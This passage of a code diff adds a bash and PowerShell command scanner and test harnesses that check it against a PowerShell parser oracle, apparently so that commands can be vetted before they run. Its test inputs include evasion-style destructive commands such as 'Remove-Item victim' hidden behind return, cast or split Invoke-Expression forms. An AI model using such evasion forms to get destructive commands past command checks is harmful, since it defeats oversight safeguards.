+ for (const name of (await Bun.file(log).text()).split("\n").filter(Boolean)) dispatched.add(name)
+ }
+ metric.dispatches += dispatched.size
+ for (const category of categories) {
+ coverage[`${shell.name}:${category}`].scanned++
+ coverage[`${shell.name}:${category}`].dispatches += dispatched.size
+ }
+ const remaining = new Set(result.commands.map((command) => command.words[0] ?? ""))
+ const missing = [...dispatched].filter((name) => {
+ return !remaining.has(name)
+ })
+ if (!missing.length) continue
+ metric.violations++
+ findings.push({
+ shell: shell.name,
+ categories: [...categories],
+ source,
+ dispatched: [...dispatched],
+ scanned: result.commands.map((command) => command.words[0] ?? ""),
+ missing,
+ status,
+ stderr,
+ reason: "dispatch",
+ })
+ }
+ }
+} finally {
+ rmSync(root, { recursive: true, force: true })
+}
+
+for (const shell of shells) {
+ const metric = metrics[shell.name]
+ if (metric.scanned < 2_000 || metric.dispatches < 4_000) {
+ throw new Error(
+ `${shell.name} coverage fell below floor: ${metric.scanned} scanned, ${metric.dispatches} dispatches`,
+ )
+ }
+ for (const category of [
+ "simple",
+ "separator",
+ "substitution",
+ "comment",
+ "continuation",
+ "conditional",
+ "literal",
+ "deterministic-random",
+ ]) {
+ const item = coverage[`${shell.name}:${category}`]
+ if (!item || item.scanned === 0 || item.dispatches === 0)
+ throw new Error(`${shell.name}:${category} has no scanned dispatch coverage`)
+ }
+}
+
+console.log(
+ JSON.stringify(
+ {
+ schema: 1,
+ invariant: "For scanned results, every uniquely named fake-executable dispatch appears in scanned command heads.",
+ generated: executionCases.length,
+ categories: Object.fromEntries(
+ [...new Set([...cases.values()].flatMap((categories) => [...categories]))].map((category) => [
+ category,
+ [...cases.values()].filter((categories) => categories.has(category)).length,
+ ]),
+ ),
+ shells: shells.map((shell) => ({
+ name: shell.name,
+ path: shell.path,
+ version: versions[shell.name],
+ strictSyntax: shell.strict,
+ metrics: metrics[shell.name],
+ })),
+ coverage,
+ findings,
+ },
+ null,
+ 2,
+ ),
+)
+
+if (findings.length) process.exitCode = 1
diff --git a/packages/shell-scan/research/powershell-conformance.ts b/packages/shell-scan/research/powershell-conformance.ts
new file mode 100644
index 00000000000..e3bd5df1624
--- /dev/null
+++ b/packages/shell-scan/research/powershell-conformance.ts
@@ -0,0 +1,155 @@
+import { ShellScan } from "../src/index.js"
+
+const pwsh = process.env.PWSH ?? Bun.which("pwsh")
+if (!pwsh) {
+ console.error("Set PWSH to a PowerShell executable")
+ process.exit(2)
+}
+const versionProcess = Bun.spawnSync(
+ [pwsh, "-NoProfile", "-NonInteractive", "-Command", "$PSVersionTable.PSVersion.Major"],
+ { stdout: "pipe", stderr: "pipe" },
+)
+const oracleMajor = Number(versionProcess.stdout.toString().trim())
+if (versionProcess.exitCode !== 0 || !Number.isInteger(oracleMajor) || oracleMajor < 5)
+ throw new Error(`PowerShell 5 or newer required: ${versionProcess.stderr.toString().trim()}`)
+
+const commands = ["Get-ChildItem", "Write-Output", "Remove-Item", "Test-Path"] as const
+const arguments_ = ["", " value", " 'single ; | # text'", ' "double ; | # text"', " foo`;bar"] as const
+const separators = [";", "|", ...(oracleMajor >= 7 ? ["&&", "||"] : []), "\n", "\r", "\r\n"] as const
+const sources = new Set()
+
+for (const command of commands) {
+ for (const argument of arguments_) sources.add(command + argument)
+}
+for (const left of commands) {
+ for (const separator of separators) {
+ for (const right of commands) sources.add(`${left} left${separator}${right} right`)
+ }
+}
+for (const command of commands) {
+ sources.add(`# comment\n${command}`)
+ sources.add(`# comment\r${command}`)
+ sources.add(`# comment\r\n${command}`)
+ sources.add(`${command} before # ignored\nWrite-Output after`)
+ sources.add(`${command} before # ignored\rWrite-Output after`)
+ sources.add(`${command} before # ignored\r\nWrite-Output after`)
+ sources.add(`${command} one > output.txt`)
+ sources.add(`${command} one 2>&1`)
+ sources.add(`${command} one\n\nWrite-Output two`)
+}
+
+const unsupported = [
+ "$Command value",
+ "& $Command value",
+ 'Write-Output "$(Get-ChildItem)"',
+ "return Remove-Item victim",
+ "throw Get-ChildItem",
+ "[string]$x = Remove-Item victim",
+ "Invoke-`\nExpression 'Remove-Item victim'",
+ "<# comment #> Remove-Item victim",
+ "#Requires -Modules Evil\nWrite-Output ok",
+] as const
+for (const source of unsupported) sources.add(source)
+const malformed = ['Write-Output "unterminated', "Get-ChildItem |", "Write-Output ok`", "Get-ChildItem &&"] as const
+for (const source of malformed) sources.add(source)
+
+let randomState = 0x50a7e11
+const random = (length: number) => {
+ randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
+ return randomState % length
+}
+for (let iteration = 0; iteration < 2_500; iteration++) {
+ const left = commands[random(commands.length)]
+ const right = commands[random(commands.length)]
+ const separator = separators[random(separators.length)]
+ const argument = arguments_[random(arguments_.length)]
+ const forms = [
+ `${left} fuzz${iteration}${separator}${right}${argument}`,
+ `${left.toLowerCase()} fuzz${iteration}${separator}${right.toUpperCase()}${argument}`,
+ `${left} fuzz${iteration} > output${iteration}; ${right}${argument}`,
+ `${left} fuzz${iteration} # ignored\n${right}${argument}`,
+ `${left} fuzz${iteration} # ignored\r${right}${argument}`,
+ `${left} fuzz${iteration} # ignored\r\n${right}${argument}`,
+ `${left}\`\n fuzz${iteration}; ${right}${argument}`,
+ `Microsoft.PowerShell.Management\\${left} fuzz${iteration}; ${right}${argument}`,
+ ]
+ sources.add(forms[random(forms.length)])
+}
+
+const process_ = Bun.spawnSync([pwsh, "-NoProfile", "-NonInteractive", "-File", "research/powershell-oracle.ps1"], {
+ cwd: import.meta.dir + "/..",
+ stdin: new TextEncoder().encode(JSON.stringify([...sources])),
+ stdout: "pipe",
+ stderr: "pipe",
+})
+if (process_.exitCode !== 0) {
+ console.error(process_.stderr.toString())
+ process.exit(process_.exitCode)
+}
+
+const oracle = JSON.parse(process_.stdout.toString()) as {
+ version: string
+ results: Array<{
+ source: string
+ commands: Array<{ name: string | null; text: string; start: number; end: number }>
+ errors: string[]
+ }>
+}
+const version = Number(oracle.version.split(".")[0])
+if (version !== oracleMajor)
+ throw new Error(`PowerShell version changed during oracle run: ${oracleMajor} to ${oracle.version}`)
+const returned = new Set(oracle.results.map((result) => result.source))
+if (
+ oracle.results.length !== sources.size ||
+ returned.size !== sources.size ||
+ [...sources].some((source) => !returned.has(source))
+)
+ throw new Error(`PowerShell oracle returned ${oracle.results.length} results for ${sources.size} unique sources`)
+const evaluated = oracle.results.map((item) => ({ item, scanned: ShellScan.scanPowerShell(item.source) }))
+const findings = evaluated.flatMap(({ item, scanned }) => {
+ if (unsupported.includes(item.source as (typeof unsupported)[number]) && scanned.kind !== "opaque")
+ return [{ source: item.source, reason: "unsupported-scanned", expected: [], actual: [], missing: [] }]
+ if (item.errors.length > 0)
+ return scanned.kind === "opaque"
+ ? []
+ : [{ source: item.source, reason: "malformed-scanned", expected: [], actual: [], missing: item.errors }]
+ if (scanned.kind === "opaque") return []
+ if (item.commands.some((command) => command.name === null))
+ return [{ source: item.source, reason: "dynamic-head-scanned", expected: [], actual: [], missing: [] }]
+ const expected = item.commands.map((command) => normalize(command.name ?? ""))
+ const actual = scanned.commands.map((command) => normalize(command.words[0] ?? ""))
+ let index = 0
+ const missing = expected.filter((name) => {
+ while (index < actual.length && actual[index] !== name) index++
+ if (index >= actual.length) return true
+ index++
+ return false
+ })
+ const invalidExtent = item.commands.find((command) => item.source.slice(command.start, command.end) !== command.text)
+ if (invalidExtent)
+ return [{ source: item.source, reason: "invalid-extent", expected, actual, missing: [invalidExtent.text] }]
+ return missing.length > 0 ? [{ source: item.source, reason: "missing-command", expected, actual, missing }] : []
+})
+const scannedCount = evaluated.filter(({ scanned }) => scanned.kind === "scanned").length
+if (scannedCount < 1_900) throw new Error(`PowerShell scanned coverage fell below floor: ${scannedCount}`)
+
+console.log(
+ JSON.stringify(
+ {
+ schema: 1,
+ powershell: oracle.version,
+ generated: sources.size,
+ parsed: oracle.results.filter((result) => result.errors.length === 0).length,
+ scanned: scannedCount,
+ violations: findings.length,
+ findings,
+ },
+ null,
+ 2,
+ ),
+)
+if (findings.length > 0) process.exitCode = 1
+
+function normalize(name: string) {
+ return name.replace(/`?[\r\n]+/g, "").toLowerCase()
+}
diff --git a/packages/shell-scan/research/powershell-oracle.ps1 b/packages/shell-scan/research/powershell-oracle.ps1
new file mode 100644
index 00000000000..4cc78756f3d
--- /dev/null
+++ b/packages/shell-scan/research/powershell-oracle.ps1
@@ -0,0 +1,29 @@
+$ErrorActionPreference = "Stop"
+
+$sources = [Console]::In.ReadToEnd() | ConvertFrom-Json
+$results = foreach ($source in $sources) {
+ $tokens = $null
+ $errors = $null
+ $ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref] $tokens, [ref] $errors)
+ $commands = $ast.FindAll(
+ { param($node) $node -is [System.Management.Automation.Language.CommandAst] },
+ $true
+ ) | ForEach-Object {
+ [pscustomobject]@{
+ name = $_.GetCommandName()
+ text = $_.Extent.Text
+ start = $_.Extent.StartOffset
+ end = $_.Extent.EndOffset
+ }
+ }
+ [pscustomobject]@{
+ source = $source
+ commands = @($commands)
+ errors = @($errors | ForEach-Object { $_.Message })
+ }
+}
+
+[pscustomobject]@{
+ version = $PSVersionTable.PSVersion.ToString()
+ results = @($results)
+} | ConvertTo-Json -Depth 6 -Compress
diff --git a/packages/shell-scan/src/index.ts b/packages/shell-scan/src/index.ts
new file mode 100644
index 00000000000..89635572a05
--- /dev/null
+++ b/packages/shell-scan/src/index.ts
@@ -0,0 +1,703 @@
+export * as ShellScan from "./index.js"
+
+export type OpaqueReason =
+ | "command-substitution"
+ | "compound-command"
+ | "command-wrapper"
+ | "dynamic-command-name"
+ | "dynamic-directory"
+ | "dynamic-execution"
+ | "heredoc"
+ | "invalid-redirect"
+ | "invalid-structure"
+ | "shell-evaluation"
+ | "unterminated-escape"
+ | "unterminated-quote"
+
+export type Result =
+ | { kind: "scanned"; commands: Array<{ resource: string; words: string[] }> }
+ | { kind: "opaque"; reason: OpaqueReason }
+
+const BASH_COMPOUND_KEYWORDS = new Set([
+ "if",
+ "then",
+ "elif",
+ "else",
+ "fi",
+ "for",
+ "while",
+ "until",
+ "case",
+ "select",
+ "function",
+ "do",
+ "done",
+ "coproc",
+])
+const POWERSHELL_LOCATIONS = new Set(["set-location", "cd", "chdir", "sl", "push-location"])
+const POWERSHELL_ALIASES: Record = {
+ "%": "foreach-object",
+ "?": "where-object",
+ ac: "add-content",
+ asnp: "add-pssnapin",
+ cli: "clear-item",
+ clc: "clear-content",
+ copy: "copy-item",
+ cp: "copy-item",
+ cpi: "copy-item",
+ del: "remove-item",
+ erase: "remove-item",
+ etsn: "enter-pssession",
+ foreach: "foreach-object",
+ icm: "invoke-command",
+ ihy: "invoke-history",
+ ii: "invoke-item",
+ ipal: "import-alias",
+ ipmo: "import-module",
+ ipsn: "import-pssession",
+ mi: "move-item",
+ move: "move-item",
+ mv: "move-item",
+ nal: "new-alias",
+ ni: "new-item",
+ nmo: "new-module",
+ r: "invoke-history",
+ rd: "remove-item",
+ ren: "rename-item",
+ ri: "remove-item",
+ rm: "remove-item",
+ rmdir: "remove-item",
+ rni: "rename-item",
+ rmo: "remove-module",
+ rsnp: "remove-pssnapin",
+ sajb: "start-job",
+ sal: "set-alias",
+ saps: "start-process",
+ sbp: "set-psbreakpoint",
+ sc: "set-content",
+ si: "set-item",
+ start: "start-process",
+ pushd: "push-location",
+ trcm: "trace-command",
+ where: "where-object",
+}
+const MAX_BASH_INPUT_LENGTH = 64 * 1024
+const MAX_SUBSTITUTION_DEPTH = 32
+
+export function scan(input: string): Result {
+ return scanBash(input, 0)
+}
+
+function scanBash(input: string, depth: number): Result {
+ if (input.length > MAX_BASH_INPUT_LENGTH) return { kind: "opaque", reason: "invalid-structure" }
+ const group = bashLeadingGroup(input)
+ if (group) {
+ if (depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "invalid-structure" }
+ const nested = scanBash(group.source, depth + 1)
+ if (nested.kind === "opaque") return nested
+ const suffix = input.slice(group.end + 1).trim()
+ if (!suffix) return nested
+ const separator = /^(?:&&|\|\||\|&|[;&|])/.exec(suffix)?.[0]
+ const remaining = separator ? suffix.slice(separator.length).trim() : suffix
+ if (separator && !remaining) return nested
+ const prefixed = separator ? remaining : /^[<>]/.test(remaining) ? `: ${remaining}` : undefined
+ if (!prefixed) return { kind: "opaque", reason: "compound-command" }
+ const rest = scanBash(prefixed, depth + 1)
+ if (rest.kind === "opaque") return rest
+ return {
+ kind: "scanned",
+ commands: nested.commands.concat(rest.commands.filter((command) => command.words[0] !== ":")),
+ }
+ }
+ const commands: Array<{ resource: string; words: string[] }> = []
+ const nestedCommands: Array<{ resource: string; words: string[] }> = []
+ const words: string[] = []
+ const assignmentWords: boolean[] = []
+ let word = ""
+ let wordStarted = false
+ let assignmentWord = false
+ let assignmentHeadUnsafe = false
+ let segment = 0
+ let quote: "single" | "double" | undefined
+ let dynamicWord = false
+ let compound = false
+ let invalidRedirect = false
+ let invalidStructure = false
+ let separated = false
+ let comment: number | undefined
+ let heredoc = false
+ let redirectTarget = false
+ let hasRedirect = false
+ let terminalBackground = false
+
+ const finishWord = () => {
+ if (!wordStarted) return
+ if (!redirectTarget) {
+ words.push(word)
+ assignmentWords.push(assignmentWord)
+ }
+ redirectTarget = false
+ word = ""
+ wordStarted = false
+ assignmentWord = false
+ assignmentHeadUnsafe = false
+ }
+ const finishCommand = (end: number, boundary = false) => {
+ finishWord()
+ const resource = input.slice(segment, end).trim()
+ const name = assignmentWords.findIndex((assignment) => !assignment)
+ if (name >= 0 && /[*?[]/.test(words[name])) compound = true
+ if (resource && name >= 0)
+ commands.push({
+ resource,
+ words: words.slice(name),
+ })
+ else if (!(assignmentWords.length > 0 && assignmentWords.every(Boolean)) && (hasRedirect || boundary || separated))
+ invalidStructure = true
+ words.length = 0
+ assignmentWords.length = 0
+ separated = true
+ hasRedirect = false
+ }
+
+ for (let index = 0; index < input.length; index++) {
+ const char = input[index]
+ if (quote === "single") {
+ wordStarted = true
+ if (char === "'") quote = undefined
+ else word += char
+ continue
+ }
+ if (quote === "double") {
+ wordStarted = true
+ if (char === '"') quote = undefined
+ else if (char === "\\" && index + 1 < input.length) word += input[++index]
+ else if ((char === "$" && input[index + 1] === "(") || char === "`") {
+ const substitution = bashSubstitution(input, index)
+ if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
+ const result = scanBash(substitution.source, depth + 1)
+ if (result.kind === "opaque") return result
+ nestedCommands.push(...result.commands)
+ word += input.slice(index, substitution.end + 1)
+ index = substitution.end
+ } else {
+ if (char === "$" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
+ return { kind: "opaque", reason: "dynamic-execution" }
+ if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
+ return { kind: "opaque", reason: "dynamic-execution" }
+ if (char === "$") dynamicWord = true
+ word += char
+ }
+ continue
+ }
+ if (char === "'") {
+ quote = "single"
+ wordStarted = true
+ if (!assignmentWord) assignmentHeadUnsafe = true
+ continue
+ }
+ if (char === '"') {
+ quote = "double"
+ wordStarted = true
+ if (!assignmentWord) assignmentHeadUnsafe = true
+ continue
+ }
+ if (char === "\\") {
+ if (index + 1 >= input.length) return { kind: "opaque", reason: "unterminated-escape" }
+ wordStarted = true
+ if (input[index + 1] === "\n") index++
+ else {
+ if (!assignmentWord) assignmentHeadUnsafe = true
+ word += input[++index]
+ }
+ continue
+ }
+ if ((char === "$" && input[index + 1] === "(") || char === "`") {
+ const substitution = bashSubstitution(input, index)
+ if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
+ const result = scanBash(substitution.source, depth + 1)
+ if (result.kind === "opaque") return result
+ nestedCommands.push(...result.commands)
+ wordStarted = true
+ word += input.slice(index, substitution.end + 1)
+ index = substitution.end
+ continue
+ }
+ if ((char === "<" || char === ">") && input[index + 1] === "(") {
+ const substitution = bashParenthesized(input, index + 1)
+ if (!substitution || depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "command-substitution" }
+ const result = scanBash(substitution.source, depth + 1)
+ if (result.kind === "opaque") return result
+ nestedCommands.push(...result.commands)
+ wordStarted = true
+ word += input.slice(index, substitution.end + 1)
+ index = substitution.end
+ continue
+ }
+ if (char === "$" && input[index + 1] === "{" && /^\$\{[^}:@]+@P\}/.test(input.slice(index)))
+ return { kind: "opaque", reason: "dynamic-execution" }
+ if (char === "$" && /^\$\{\([^)]*e[^)]*\)/.test(input.slice(index)))
+ return { kind: "opaque", reason: "dynamic-execution" }
+ if (char === "$" && input[index + 1] === "[") return { kind: "opaque", reason: "dynamic-execution" }
+ if (char === "<" && input[index + 1] === "<") heredoc = true
+ if (char === "#" && !wordStarted) {
+ finishCommand(index)
+ comment = index
+ const newline = input.indexOf("\n", index)
+ if (newline === -1) break
+ index = newline
+ segment = newline + 1
+ continue
+ }
+ const redirect = /^(?:&>>?|<<<|<<-?|<>|<&|>&|>\||>>|>|<)/.exec(input.slice(index))?.[0]
+ if (redirect) {
+ hasRedirect = true
+ if (redirectTarget) invalidRedirect = true
+ if (wordStarted && /^\d+$/.test(word)) {
+ word = ""
+ wordStarted = false
+ } else finishWord()
+ redirectTarget = true
+ index += redirect.length - 1
+ continue
+ }
+ if ("()".includes(char) || (char === "!" && !wordStarted)) compound = true
+ if (/\s/.test(char) && char !== "\n") {
+ finishWord()
+ continue
+ }
+ const next = input[index + 1]
+ const separator =
+ (char === "&" && next === "&") || (char === "|" && (next === "|" || next === "&"))
+ ? char + next
+ : char === ";" || char === "|" || char === "&" || char === "\n"
+ ? char
+ : undefined
+ if (separator) {
+ finishCommand(index, true)
+ if (redirectTarget) invalidRedirect = true
+ terminalBackground = separator === "&" || separator === ";" || separator === "\n"
+ index += separator.length - 1
+ segment = index + 1
+ continue
+ }
+ terminalBackground = false
+ wordStarted = true
+ if (char === "$") dynamicWord = true
+ if (char === "=" && !assignmentHeadUnsafe && /^[A-Za-z_][A-Za-z0-9_]*\+?$/.test(word)) assignmentWord = true
+ word += char
+ }
+
+ if (quote) return { kind: "opaque", reason: "unterminated-quote" }
+ if (heredoc) return { kind: "opaque", reason: "heredoc" }
+ if (!terminalBackground && (comment === undefined || input.includes("\n", comment))) finishCommand(input.length)
+ if (redirectTarget) invalidRedirect = true
+ if (separated && !terminalBackground && comment === undefined && !input.slice(segment).trim()) invalidStructure = true
+ if (invalidStructure) return { kind: "opaque", reason: "invalid-structure" }
+ if (invalidRedirect) return { kind: "opaque", reason: "invalid-redirect" }
+ const conditional = bashConditionalCommands(commands)
+ if (conditional) commands.splice(0, commands.length, ...conditional)
+ if (compound || commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "")))
+ return { kind: "opaque", reason: "compound-command" }
+ if (
+ commands.some((command) => /[$`]/.test(command.words[0] ?? "")) ||
+ (dynamicWord && commands[0]?.words[0]?.includes("$"))
+ )
+ return { kind: "opaque", reason: "dynamic-command-name" }
+ if (commands.some((command) => command.words[0]?.startsWith("=")))
+ return { kind: "opaque", reason: "dynamic-command-name" }
+ return { kind: "scanned", commands: commands.concat(nestedCommands) }
+}
+
+function bashConditionalCommands(commands: Array<{ resource: string; words: string[] }>) {
+ if (commands[0]?.words[0] !== "if" || commands.at(-1)?.words[0] !== "fi") return
+ const keywords = new Set(["if", "then", "elif", "else", "fi"])
+ if (
+ commands.some((command) => BASH_COMPOUND_KEYWORDS.has(command.words[0] ?? "") && !keywords.has(command.words[0]!))
+ )
+ return
+ const normalized: Array<{ resource: string; words: string[] }> = []
+ let phase: "condition" | "body" | "else" = "condition"
+ let hasCommand = false
+ let sawElse = false
+ for (const [index, command] of commands.entries()) {
+ const keyword = command.words[0]
+ if (!keywords.has(keyword ?? "")) {
+ normalized.push(command)
+ hasCommand = true
+ continue
+ }
+ const offset = command.resource.indexOf(keyword!) + keyword!.length
+ const inline =
+ command.words.length > 1
+ ? { resource: command.resource.slice(offset).trim(), words: command.words.slice(1) }
+ : undefined
+ if (index === 0) {
+ if (inline) normalized.push(inline)
+ hasCommand = Boolean(inline)
+ continue
+ }
+ if (keyword === "then") {
+ if (phase !== "condition" || !hasCommand) return
+ phase = "body"
+ hasCommand = Boolean(inline)
+ }
+ if (keyword === "elif") {
+ if (phase !== "body" || !hasCommand || sawElse) return
+ phase = "condition"
+ hasCommand = Boolean(inline)
+ }
+ if (keyword === "else") {
+ if (phase !== "body" || !hasCommand || sawElse) return
+ phase = "else"
+ sawElse = true
+ hasCommand = Boolean(inline)
+ }
+ if (keyword === "fi") {
+ if (index !== commands.length - 1 || phase === "condition" || !hasCommand || inline) return
+ continue
+ }
+ if (inline) normalized.push(inline)
+ }
+ return normalized
+}
+
+function bashLeadingGroup(input: string) {
+ const start = input.search(/\S/)
+ if (start < 0) return
+ if (input[start] === "{") {
+ const group = bashBraced(input, start)
+ if (!group) return
+ const source = group.source.trim()
+ if (!source.endsWith(";")) return
+ return { source: source.slice(0, -1), end: group.end }
+ }
+ if (input[start] !== "(") return
+ return bashParenthesized(input, start)
+}
+
+function bashBraced(input: string, start: number) {
+ let quote: "single" | "double" | undefined
+ let level = 1
+ for (let index = start + 1; index < input.length; index++) {
+ const char = input[index]
+ if (quote === "single") {
+ if (char === "'") quote = undefined
+ continue
+ }
+ if (char === "\\") {
+ index++
+ continue
+ }
+ if (char === "'") {
+ quote = "single"
+ continue
+ }
+ if (char === '"') {
+ quote = quote === "double" ? undefined : "double"
+ continue
+ }
+ if (char === "{" && quote !== "double") level++
+ if (char !== "}" || quote === "double" || --level) continue
+ return { source: input.slice(start + 1, index), end: index }
+ }
+}
+
+function bashParenthesized(input: string, start: number) {
+ let quote: "single" | "double" | undefined
+ let level = 1
+ for (let index = start + 1; index < input.length; index++) {
+ const char = input[index]
+ if (quote === "single") {
+ if (char === "'") quote = undefined
+ continue
+ }
+ if (char === "\\") {
+ index++
+ continue
+ }
+ if (char === "'") {
+ quote = "single"
+ continue
+ }
+ if (char === '"') {
+ quote = quote === "double" ? undefined : "double"
+ continue
+ }
+ if (char === "(" && quote !== "double") level++
+ if (char !== ")" || quote === "double" || --level) continue
+ return { source: input.slice(start + 1, index), end: index }
+ }
+}
+
+function bashSubstitution(input: string, start: number) {
+ if (input[start] === "`") {
+ for (let index = start + 1; index < input.length; index++) {
+ if (input[index] === "\\") index++
+ else if (input[index] === "`") return { source: input.slice(start + 1, index).replaceAll("\\`", "`"), end: index }
+ }
+ return
+ }
+ if (input.slice(start, start + 3) === "$((") return
+ let quote: "single" | "double" | undefined
+ let level = 1
+ for (let index = start + 2; index < input.length; index++) {
+ const char = input[index]
+ if (quote === "single") {
+ if (char === "'") quote = undefined
+ continue
+ }
+ if (char === "\\") {
+ index++
+ continue
+ }
+ if (char === "'") {
+ quote = "single"
+ continue
+ }
+ if (quote !== "double" && char === "#" && (index === start + 2 || /[\s;&|()]/.test(input[index - 1] ?? ""))) return
+ if (char === '"') {
+ quote = quote === "double" ? undefined : "double"
+ continue
+ }
+ if (char === "`" && quote !== "double") {
+ const nested = bashSubstitution(input, index)
+ if (!nested) return
+ index = nested.end
+ continue
+ }
+ if (quote === "double") {
+ if (char === "$" && input[index + 1] === "(") {
+ level++
+ index++
+ } else if (char === ")" && level > 1) level--
+ continue
+ }
+ if (char === "(") level++
+ if (char !== ")" || --level) continue
+ return { source: input.slice(start + 2, index), end: index }
+ }
+}
+
+export function scanPowerShell(input: string): Result {
+ return scanPowerShellNested(input, 0)
+}
+
+function scanPowerShellNested(input: string, depth: number): Result {
+ if (input.length > MAX_BASH_INPUT_LENGTH || depth >= MAX_SUBSTITUTION_DEPTH)
+ return { kind: "opaque", reason: "invalid-structure" }
+ const commands: Array<{ resource: string; words: string[] }> = []
+ const nestedCommands: Array<{ resource: string; words: string[] }> = []
+ const words: string[] = []
+ let segment = 0
+ let word = ""
+ let started = false
+ let quote: "single" | "double" | undefined
+ let dynamic = false
+ let invalid = false
+ let redirectTarget = false
+ let comment = false
+ let separated = false
+ let dangling = false
+ let dynamicDirectory = false
+
+ const finishWord = () => {
+ if (!started) return
+ if (!redirectTarget) words.push(word)
+ redirectTarget = false
+ word = ""
+ started = false
+ }
+ const finishCommand = (end: number, boundary = false) => {
+ finishWord()
+ const resource = input.slice(segment, end).trim()
+ if (resource) commands.push({ resource, words: [...words] })
+ else if (boundary && separated) invalid = true
+ words.length = 0
+ separated ||= Boolean(resource)
+ }
+
+ for (let index = 0; index < input.length; index++) {
+ const char = input[index]
+ if (quote) {
+ started = true
+ if (quote === "single" && char === "'" && input[index + 1] === "'") {
+ word += "'"
+ index++
+ } else if ((quote === "single" && char === "'") || (quote === "double" && char === '"')) quote = undefined
+ else if (char === "`" && index + 1 < input.length) word += input[++index]
+ else {
+ if (quote === "double" && char === "$" && input[index + 1] === "(") dynamic = true
+ word += char
+ }
+ continue
+ }
+ if (char === "'" || char === '"') {
+ quote = char === "'" ? "single" : "double"
+ started = true
+ continue
+ }
+ if (char === "`" && index + 1 < input.length) {
+ if (words.length === 0) dynamic = true
+ started = true
+ if (input[index + 1] === "\r" && input[index + 2] === "\n") index += 2
+ else if (input[index + 1] === "\r" || input[index + 1] === "\n") index++
+ else word += input[++index]
+ continue
+ }
+ if (char === "`") return { kind: "opaque", reason: "unterminated-escape" }
+ if (char === "<" && input[index + 1] === "#") return { kind: "opaque", reason: "dynamic-execution" }
+ if (char === "#" && !started) {
+ if (/^#requires\b/i.test(input.slice(index))) return { kind: "opaque", reason: "dynamic-execution" }
+ finishCommand(index)
+ comment = true
+ const endings = [input.indexOf("\n", index), input.indexOf("\r", index)].filter((ending) => ending >= 0)
+ const newline = endings.length > 0 ? Math.min(...endings) : -1
+ if (newline === -1) break
+ comment = false
+ index = input[newline] === "\r" && input[newline + 1] === "\n" ? newline + 1 : newline
+ segment = newline + 1
+ continue
+ }
+ const redirect = powerShellRedirect(input, index)
+ if (redirect) {
+ finishWord()
+ redirectTarget = !redirect.includes("&")
+ index += redirect.length - 1
+ continue
+ }
+ if (char === "{" && !started) {
+ const block = powerShellBlock(input, index)
+ if (!block) return { kind: "opaque", reason: "invalid-structure" }
+ const result = scanPowerShellNested(block.source, depth + 1)
+ if (result.kind === "opaque") return result
+ nestedCommands.push(...result.commands)
+ started = true
+ word += input.slice(index, block.end + 1)
+ index = block.end
+ continue
+ }
+ if (char === "}") return { kind: "opaque", reason: "invalid-structure" }
+ if (
+ (char === "&" || char === ".") &&
+ !started &&
+ words.length === 0 &&
+ (/\s/.test(input[index + 1] ?? "") || !input[index + 1])
+ )
+ continue
+ if ("@()".includes(char)) dynamic = true
+ if (/\s/.test(char) && char !== "\n" && char !== "\r") {
+ finishWord()
+ continue
+ }
+ const next = input[index + 1]
+ const separator =
+ char === "\r" && next === "\n"
+ ? char + next
+ : (char === "&" && next === "&") || (char === "|" && next === "|")
+ ? char + next
+ : char === ";" || char === "|" || char === "&" || char === "\n" || char === "\r"
+ ? char
+ : undefined
+ if (separator) {
+ finishCommand(index, true)
+ if (redirectTarget) invalid = true
+ dangling = ![";", "&", "\n", "\r", "\r\n"].includes(separator)
+ index += separator.length - 1
+ segment = index + 1
+ continue
+ }
+ started = true
+ dangling = false
+ word += char
+ }
+
+ if (quote) return { kind: "opaque", reason: "unterminated-quote" }
+ if (!comment) finishCommand(input.length)
+ if (redirectTarget || invalid || dangling) return { kind: "opaque", reason: "invalid-structure" }
+ if (
+ dynamic ||
+ commands.some((command) => {
+ const head = command.words[0] ?? ""
+ if (head.includes("\\") && !/^[A-Za-z]:\\/.test(head)) return true
+ const rawName = shellCommandName(head)
+ const name = POWERSHELL_ALIASES[rawName] ?? rawName
+ if (head.includes("$") || head.includes("@")) return true
+ if (["return", "throw", "exit", "break", "continue"].includes(name) && command.words.length > 1) return true
+ if (POWERSHELL_LOCATIONS.has(name ?? ""))
+ return (dynamicDirectory =
+ command.words.some(
+ (word, index) =>
+ index > 0 && (word.includes("(") || (word.includes("$") && !knownPowerShellDirectory(word))),
+ ) ||
+ command.words.some((word, index) => index > 0 && /^[A-Za-z]+:/.test(word) && !/^[A-Za-z]:[\\/]/.test(word)))
+ return false
+ })
+ )
+ return { kind: "opaque", reason: dynamicDirectory ? "dynamic-directory" : "dynamic-execution" }
+ return { kind: "scanned", commands: commands.concat(nestedCommands) }
+}
+
+function powerShellBlock(input: string, start: number) {
+ let quote: "single" | "double" | undefined
+ let level = 1
+ for (let index = start + 1; index < input.length; index++) {
+ const char = input[index]
+ if (quote === "single") {
+ if (char === "'" && input[index + 1] === "'") index++
+ else if (char === "'") quote = undefined
+ continue
+ }
+ if (char === "`") {
+ index++
+ continue
+ }
+ if (char === "#" && quote !== "double") {
+ const newline = input.indexOf("\n", index)
+ if (newline < 0) return
+ index = newline
+ continue
+ }
+ if (char === "<" && input[index + 1] === "#" && quote !== "double") {
+ const end = input.indexOf("#>", index + 2)
+ if (end < 0) return
+ index = end + 1
+ continue
+ }
+ if (char === "'") {
+ quote = "single"
+ continue
+ }
+ if (char === '"') {
+ quote = quote === "double" ? undefined : "double"
+ continue
+ }
+ if (char === "{" && quote !== "double") level++
+ if (char !== "}" || quote === "double" || --level) continue
+ return { source: input.slice(start + 1, index), end: index }
+ }
+}
+
+function shellCommandName(word: string | undefined) {
+ const value = (word ?? "").toLowerCase()
+ return value.slice(Math.max(value.lastIndexOf("/"), value.lastIndexOf("\\")) + 1)
+}
+
+function knownPowerShellDirectory(word: string) {
+ const variable = /^(?:\$(?:PWD|HOME|PSHOME)|\$env:[A-Za-z_][A-Za-z0-9_]*|\$\{env:[^}]+\})(?:[\\/]|$)/i.exec(word)
+ return Boolean(variable) && !word.slice(variable?.[0].length).includes("$")
+}
+
